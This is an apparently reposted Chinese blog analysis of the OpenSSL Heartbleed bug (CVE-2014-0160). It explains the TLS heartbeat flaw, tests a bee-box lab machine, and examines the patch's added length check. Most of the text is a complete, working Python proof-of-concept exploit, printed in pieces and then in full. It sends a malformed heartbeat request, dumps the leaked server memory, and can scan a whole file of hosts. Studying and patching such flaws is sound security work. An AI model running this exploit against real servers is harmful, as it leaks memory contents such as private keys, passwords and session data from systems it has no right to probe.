转自;http://blog.csdn.net/qq_32400847/article/details/58332946
2014年4月7日OpenSSL发布了安全公告,在OpenSSL1.0.1版本中存在严重漏洞(CVE-2014-0160)。OpenSSL的Heartbleed模块存在一个BUG,当攻击者构造一个特殊的数据包,满足用户心跳包中无法提供足够多的数据会导致memcpy函数把SSLv3记录之后的数据直接输出,该漏洞导致攻击者可以远程读取存在漏洞版本的OpenSSL服务器内存中多达64K的数据。
A missing bounds check in the handling of the TLS heartbeat extension can be used to reveal up to 64k of memory to a connected client or server.
Only 1.0.1 and 1.0.2-beta releases of OpenSSL are affected including 1.0.1f and 1.0.2-beta1.
Thanks for Neel Mehta of Google Security for discovering this bug and to Adam Langley [email protected] and Bodo Moeller [email protected] for preparing the fix.
Affected users should upgrade to OpenSSL 1.0.1g. Users unable to immediately upgrade can alternatively recompile OpenSSL with -DOPENSSL_NO_HEARTBEATS.
1.0.2 will be fixed in 1.0.2-beta2.
TLS和SSL是两个密切相关的协议,均用于保证两个主机之间通信数据的机密性与完整性。TLS或SSL可为已存在的应用层协议(例如HTTP,LDAP,FTP,SMTP及其他)添加一个安全层。它同样可以用于创建VPN解决方案(例如OpenVPN)。SSL协议于1994年由Netscape开发。1996年,SSL 3.0(最后版本)被发布。IETF基于此协议进行了开发,取名为TLS。1999年,IETF在RFC2246中发布TLS 1.0。TLS或SSL协议,由多层构成。最接近它的上层协议是可信传输协议(例如TCP)。它可用于封装较高层次的协议。为了在客户端与服务端建立一个安全会话,TLS/SSL需要完成几步验证,并创建密钥。握手过程,交互信息如下。
基于POC程序源代码(附后),介绍一下CVE-2014-0160漏洞的攻击思路。
1. 建立socket连接
2. 发送TLS/SSL Client Hello请求
3. 发送畸形heartbleed数据
4. 检测漏洞存在
建立socket连接
def ssltest(target, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
多数情况下默认443提供HTTPS服务。
发送TLS/SSL Client Hello请求
s.send(h2bin(hello))
hello = [
# TLSv1.1 Record Layer : HandshakeProtocol: Client Hello
"16" # Content Type: Handshake (22)
"0302" # Version: TLS 1.1 (0x0302)
"00dc" # Length: 220
# Handshake Protocol: Client Hello
"01" # Handshake Type: Client Hello (1)
"0000 d8" # Length (216)
"0302" # Version: TLS 1.1 (0x0302)
# Random
"5343 5b 90" # gmt_unix_time
"9d9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd39 04 cc 16 0a 85 03 90 9f 77 04 33 d4de" # random_bytes
"00" # Session ID Length: 0
"0066" # Cipher Suite Length: 102
# Cipher Suites
"c014"
"c00a"
"c022"
"c021"
"0039"
"0038"
"0088"
"0087"
"c00f"
"c005"
"0035"
"0084"
"c012"
"c008"
"c01c"
"c01b"
"0016"
"0013"
"c00d"
"c003"
"000a"
"c013"
"c009"
"c01f"
"c01e"
"0033"
"0032"
"009a"
"0099"
"0045"
"0044"
"c00e"
"c004"
"002f"
"0096"
"0041"
"c011"
"c007"
"c00c"
"c002"
"0005"
"0004"
"0015"
"0012"
"0009"
"0014"
"0011"
"0008"
"0006"
"0003"
"00ff"
"01" # Compression Methods
# Compression Methods (1 method)
"00" # Compression Method: null
"0049" # Extension Length: 73
"000b" # Type: ec_point_formats
"0004" # Length: 4
"03" # EC point formats length: 3
# Elliptic curves point formats
"00" # EC point format: uncompressed (0)
"01" # EC point format:ansix962_compressed_prime
"02" # EC point format:ansix962_compressed_char2
# Extension: elliptic_curves
"000a"
"0034"
"0032"
"000e"
"000d"
"0019"
"000b"
"000c"
"0018"
"0009"
"000a"
"0016"
"0017"
"0008"
"0006"
"0007"
"0014"
"0015"
"0004"
"0005"
"0012"
"0013"
"0001"
"0002"
"0003"
"000f"
"0010"
"0011"
"0023 00 00" # Extension:SeesionTicket TLS
"000f 00 01 01" # Extension:Heartbeat
]
发送Client Hello后,等待服务端响应,检测TLS/SSLClient Hello会话是否成功。
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
return
# Look for server hello done message.
# typ == 22 ----> Handshake
#
if typ == 22 and ord(pay[0]) == 0x0E:
break
此处服务器返回两次数据。Frame 10返回主要用于进一步获取Server Hello 信息。Frame 11为TLS/SSL的Server Hello响应。
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
print 'read: ', r
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
hexdump(rdata)
return rdata
def recvmsg(s):
hdr = recvall(s, 5) # recvall(s, 5, timeout=5)
if hdr is None:
return None, None, None
# C ---- [big-edition] + [unsigned char] + [unsigned short] + [unsigned short]
# Python ---- [big-edition] + integer +integer + integer
# [Content Type] + [Version] + [Length]
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
return None, None, None
return typ, ver, pay
Server Hello 消息返回,说明TTL/SSL会话成功建立,此过程伴随有Certificate,Server Key Exchange,Server Hello Done。
发送畸形heartbleed数据
Server Hello成功返回后向服务器发送畸形heartbleed请求。如果服务器响应,会伴随有Encrypted Heartbeats Message,也就是泄露的内存数据。
s.send(h2bin(hb)) # Malformed Packet
Heartbleed包数据如下。
# ---------TLSv1---[Heartbeat Request]------------
hb = [
# TLSv1.1 Record Layer: HeartbeatRequest
"18" # Content Type: Heartbeat (24) ----(0x18)
"0302" # Version: TLS 1.1 (0x0302)
"0003" # Heartbeat Message:
"01" # Type: Request (1) (0x01)
"4000" # Payload Length: (16384) (0x4000)
]
while True:
print "[+] receive data..."
typ, ver, pay = recvmsg(s)
if typ is None:
print "[-] %s |NOTVULNERABLE" % target
return False
# TLSv1.1 Record Layer: EncryptedHeartbeat
# Content Type: Heartbeat (24)
# Version: TLS 1.1 (0x0302)
# Length: 19
# Encrypted Heartbeat Message
if typ == 24:
if len(pay) > 3:
print "[*] %s |VULNERABLE" % target
else:
print "[-] %s |NOTVULNERABLE" % target
return True
if typ == 21:
print "[-] %s |NOTVULNERABLE" % target
return False
import struct
import socket
import time
import select
from optparse import OptionParser
def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')
hello = [
# TLSv1.1 Record Layer : HandshakeProtocol: Client Hello
"16" # Content Type: Handshake (22)
"0302" # Version: TLS 1.1 (0x0302)
"00dc" # Length: 220
# Handshake Protocol: Client Hello
"01" # Handshake Type: Client Hello (1)
"0000 d8" # Length (216)
"0302" # Version: TLS 1.1 (0x0302)
# Random
"5343 5b 90" # gmt_unix_time
"9d9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd39 04 cc 16 0a 85 03 90 9f 77 04 33 d4de" # random_bytes
"00" # Session ID Length: 0
"0066" # Cipher Suite Length: 102
# Cipher Suites
"c014"
"c00a"
"c022"
"c021"
"0039"
"0038"
"0088"
"0087"
"c00f"
"c005"
"0035"
"0084"
"c012"
"c008"
"c01c"
"c01b"
"0016"
"0013"
"c00d"
"c003"
"000a"
"c013"
"c009"
"c01f"
"c01e"
"0033"
"0032"
"009a"
"0099"
"0045"
"0044"
"c00e"
"c004"
"002f"
"0096"
"0041"
"c011"
"c007"
"c00c"
"c002"
"0005"
"0004"
"0015"
"0012"
"0009"
"0014"
"0011"
"0008"
"0006"
"0003"
"00ff"
"01" # Compression Methods
# Compression Methods (1 method)
"00" # Compression Method: null
"0049" # Extension Length: 73
"000b" # Type: ec_point_formats
"0004" # Length: 4
"03" # EC point formats length: 3
# Elliptic curves point formats
"00" # EC point format: uncompressed (0)
"01" # EC point format:ansix962_compressed_prime
"02" # EC point format:ansix962_compressed_char2
# Extension: elliptic_curves
"000a"
"0034"
"0032"
"000e"
"000d"
"0019"
"000b"
"000c"
"0018"
"0009"
"000a"
"0016"
"0017"
"0008"
"0006"
"0007"
"0014"
"0015"
"0004"
"0005"
"0012"
"0013"
"0001"
"0002"
"0003"
"000f"
"0010"
"0011"
"0023 00 00" # Extension:SeesionTicket TLS
"000f 00 01 01" # Extension:Heartbeat
]
# ---------TLSv1---[Heartbeat Request]------------
hb = [
# TLSv1.1 Record Layer: HeartbeatRequest
"18" # Content Type: Heartbeat (24) ----(0x18)
"0302" # Version: TLS 1.1 (0x0302)
"0003" # Heartbeat Message:
"01" # Type: Request (1) (0x01)
"4000" # Payload Length: (16384) (0x4000)
]
hello = hello[0].replace("", "").replace("\n", "")
hb = hb[0].replace("", "").replace("\n", "")
def hexdump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b: b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.') for c in lin)
print ' %04x: %-48s %s' % (b, hxdat, pdat)
print
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
print 'read: ', r
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
hexdump(rdata)
return rdata
def recvmsg(s):
hdr = recvall(s, 5) # recvall(s, 5, timeout=5)
if hdr is None:
return None, None, None
# C ---- [big-edition] + [unsigned char] + [unsigned short] + [unsigned short]
# Python ---- [big-edition] + integer +integer + integer
# [Content Type] + [Version] + [Length]
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
return None, None, None
return typ, ver, pay
def hit_hb(s, target):
# global target
s.send(h2bin(hb))
while True:
print "[+] receive data..."
typ, ver, pay = recvmsg(s)
if typ is None:
print "[-] %s |NOTVULNERABLE" % target
return False
# TLSv1.1 Record Layer: EncryptedHeartbeat
# Content Type: Heartbeat (24)
# Version: TLS 1.1 (0x0302)
# Length: 19
# Encrypted Heartbeat Message
if typ == 24:
if len(pay) > 3:
print "[*] %s |VULNERABLE" % target
else:
print "[-] %s |NOTVULNERABLE" % target
return True
if typ == 21:
print "[-] %s |NOTVULNERABLE" % target
return False
def ssltest(target, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.send(h2bin(hello))
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
return
# Look for server hello done message.
# typ == 22 ----> Handshake
#
if typ == 22 and ord(pay[0]) == 0x0E:
break
# sys.stdout.flush()
print "[+] send payload: %s" % hb
s.send(h2bin(hb)) # Malformed Packet
return hit_hb(s, target) # ------------- *********
def main():
# global target
options = OptionParser(usage='%prog server[options]',
description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
options.add_option('-d', '--dest', dest='host', help='HOST to test')
options.add_option('-f', '--file', dest='filename', help='Hosts in the FILE to test ')
(opts, args) = options.parse_args()
if opts.host:
ssltest(opts.host, opts.port)
return
if opts.filename:
hostfile = open(opts.filename, 'r').readlines()
for host in hostfile:
host = host.strip()
if len(host) > 3: # x.x
ssltest(host, opts.port)
return
if len(args) < 1:
options.print_help()
return
if __name__ == '__main__':
main()
这里我分别使用上文的POC、nmap和metasploit对bee-box虚拟机内置的心脏滴血漏洞进行测试。
虚拟机的IP地址是10.10.10.146,漏洞端口位于8443。
上文的POC
接收到了大量的数据,被判定为VULNERABLE。
nmap
metasploit
我们利用文本比较工具ultracompare对比openssl-1.0.1g和openssl-1.0.1f的不同。
首先是ssl/d1_both.c。
然后是ssl/t1_lib.c。
在tls1_process_heartbeat函数和dtls1_process_heartbeat函数中,主要都是增加了对s->s3->rrec.length长度的判断。这两个函数后面的memcpy(bp, pl, payload);填充payload长度的pl数据,而payload完全由用户控制,当传入过大数值时,可能导致越界访问pl之后的数据,若将读取的数据返回给用户即可造成敏感信息泄露。在一些测试用例中我们会发现response的length长度值总是比request的长度多出来了19个byte。读源代码可以知道,这是因为TLS和DTLS在处理心跳请求包逻辑中从堆空间上申请的内存大小由type、length、request的数据长度和pad四个部分组成,其中type,length,pad字段分为占1byte,2byte,16byte,所以response的数据总是比request的多出来19byte。